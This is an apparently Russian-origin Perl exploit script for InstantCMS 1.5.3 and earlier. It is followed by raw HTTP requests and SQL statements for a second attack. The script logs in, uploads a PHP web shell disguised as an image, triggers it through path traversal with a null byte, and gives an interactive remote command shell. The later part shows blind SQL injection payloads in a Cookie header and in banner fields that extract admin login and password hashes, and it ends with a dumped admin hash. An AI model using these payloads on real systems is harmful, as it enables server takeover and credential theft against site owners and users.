#!/usr/bin/perl
######################
# Подключим библиотеки
######################
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use HTTP::Request::Common;
use Time::HiRes qw(sleep);
#####################
# Зададим параметры
#####################
getopt("d:h:u:p");
if (!$opt_h) {
&logo(); 
exit();
}
if (!$opt_d) {
&logo(); 
exit();
}
if (!$opt_u) {
&logo(); 
exit();
}
if (!$opt_p) {
&logo(); 
exit();
}
$host=$opt_h;
$dir=$opt_d;
$user=$opt_u;
$password=$opt_p;
$page2="index.php";
$page1="core/auth.php";
$page11="login";

$ereg = '<cmd>(.*?)<\/cmd>';
$cmd="echo matrix";
$fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>';
$exit="exit";
######################
#   Лицо                    
#####################
# 

sub logo() 
{
print
"\t\t
 ###########################################################################
 ############          INSTANT CMS <=== 1.5.3 remote code execution        #
 ############             coddddeeddd by The matrix (antichat.ru)          #
 ###########################################################################
 # usage: exploit.pl                                                       # 
 #-h [host]                                                                #
 # -d[path with site]                                                      #
 # -u [login]                                                              #
 # -p [password]                                                           #
 # exploit.pl -h http://site -d / -u evil -p qwer                          #
 #      !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF                              # 
 #                                                                         #
 #                                                                         # 
 ###########################################################################\n\n";
}
#############################
# аутификация                       
#############################
sub auth() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page1,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
sub auth2() {
		print"[~]login\n";
		my $browser = LWP::UserAgent->new;
		$client = LWP::UserAgent->new();
		$cookie_jar = HTTP::Cookies->new();
		$client->cookie_jar($cookie_jar);
		$op='ok';
	
		$answer=$client->post(
		"http://".$host.$dir.$page11,
				[
				'login' => $user,
				'pass' => $password,
				'Submit'=> $op
				]
);
}
#############################
# тест печенюшек        
#############################
#

	sub test() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed...Ok...Time for plan B...";
	$debug=1;
}
	}


	sub test2() {
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
	if ($ans =~ /logout/){
	print"[+]login complete";
	}
else{
	print "\n[-]login failed. check you account";
	exit();
}
	}
		

#######################
# Get id
#######################
sub id {
print "\n[~] Getting id";
	$response = $client->get("http://".$host.$dir.$page2
	);
	$ans = $response->content;
if ($ans =~ /users\/0\/(.*?)\/profile.html/) {
$id=$1;
print "\n[+] Yes, id = $id";
$page3="users/0/".$id."/addphoto.html";
}
	else {
	print "\nfailed get id";
	exit()
	}
}
#######################
# Upl0ad fucking shell
#######################

sub main {
print "\n[~]Uploading...";
$response = $client->request(POST "http://".$host.$dir.$page3,
Content_Type => 'multipart/form-data', 
Content   =>
[
upload => 1,
userid => $id,
picture =>
	[
		undef,
		"123.jpg",
		content => $fucking_shell,
		"Content-Type"	=> "image/gif"
	]
]);
$ans = $response->content;
open(F1,"> one.txt");
print (F1 "$ans");
	print "\n[~]Get some fucking image hash";
	if ($ans =~ /name="imageurl" value="(.*?)"/) {
	print "\n[+]image hash = $1";
$hash=$1;
	}
	}
########################
# CODE EXECUTION Test!
########################
sub exec {
$page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00";
print "\n[~] Testing code execution";
	$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~ /matrix/) {
$expl0it3d=1;
print "\n[+] Target has been Exp0it3d!!!!!!!!";
}
	else
	{
		print "\n[-]sorry magic_quotes=on or cms unvulnerable";
	}
}


&logo();
&auth();
&test();
if ($debug==1) {
&auth2();
&test2();
	}
&id();
&main();
&exec();
########################
#Счастье
########################
if($expl0it3d == 1) {
while($cmd !~ /^exit$/i) {
print "\ncmd-line\#:";
$cmd=<STDIN>;
chomp $cmd;
$response = $client->post("http://".$host.$dir.$page4,
Content_Type => 'multipart/form-data',
content =>
[ 
cmd => $cmd
]
	);
$ans = $response->content;
if ($ans =~/$ereg/si) {
print "$1";
}
else {
print "what the fuck????";
}
}
	}

POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=1&opt=plus&target=content&item_id=20

POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten

POST /core/ajax/karma.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html
Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))#
Cookie2: $Version=1
Proxy-Connection: Keep-Alive
Content-Transfer-Encoding: binary
Content-Length: 39

cd=&opt=plus&target=conten

INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())

INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())

INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())

INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
							VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '$title', '$link', $published)";

1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #

INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
							VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #', '$link', $published)";

admin:5f4dcc3b5aa765d61d8327deb882cf99